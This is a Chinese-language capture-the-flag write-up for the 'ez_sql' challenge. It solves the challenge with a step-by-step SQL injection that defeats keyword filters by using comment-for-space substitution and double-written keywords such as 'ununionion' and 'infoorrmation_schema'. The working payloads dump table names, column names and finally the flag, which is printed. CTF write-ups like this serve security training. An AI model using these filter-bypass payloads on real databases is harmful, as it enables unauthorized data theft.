title:[SWPUCTF 2022 新生赛]ez_sql
审题

根据提示,POST传参

得到假的flag
判断类型

字符型注入
判断列数

发现空格和’or’被过滤
重新构造
nss=-1'/**/oorrder/**/by/**/4#

发现为3个字段
采用联合注入union
爆库

发现union被过滤,双写union绕过

发现没有显示我们需要的一页,切换页数

得到数据库: NSS_db
爆表

发现information_schema被过滤,尝试双写
nss=-1'/**/ununionion/**/select/**/1,group_concat(table_name),database()/**/from/**/inforinformation_schemamation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1%23

发现并没有用还是过滤了’or’
双写绕过
nss=-1'/**/ununionion/**/select/**/1,group_concat(table_name),database()/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1%23

得到两个表: NSS_tb,users
显然users无用
爆字段
nss=-1'/**/ununionion/**/select/**/1,group_concat(column_name),database()/**/from/**/infoorrmation_schema.columns/**/where/**/table_name=' NSS_tb'/**/limit/**/1,1%23

得到字段: id,Secr3t,flll444g
显然id没用
爆字段内容
nss=-1'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_db.NSS_tb/**/limit/**/1,1%23

得到真正的flag: NSSCTF{e9e4d32b-8d81-4718-b0c7-54c3c29110f1}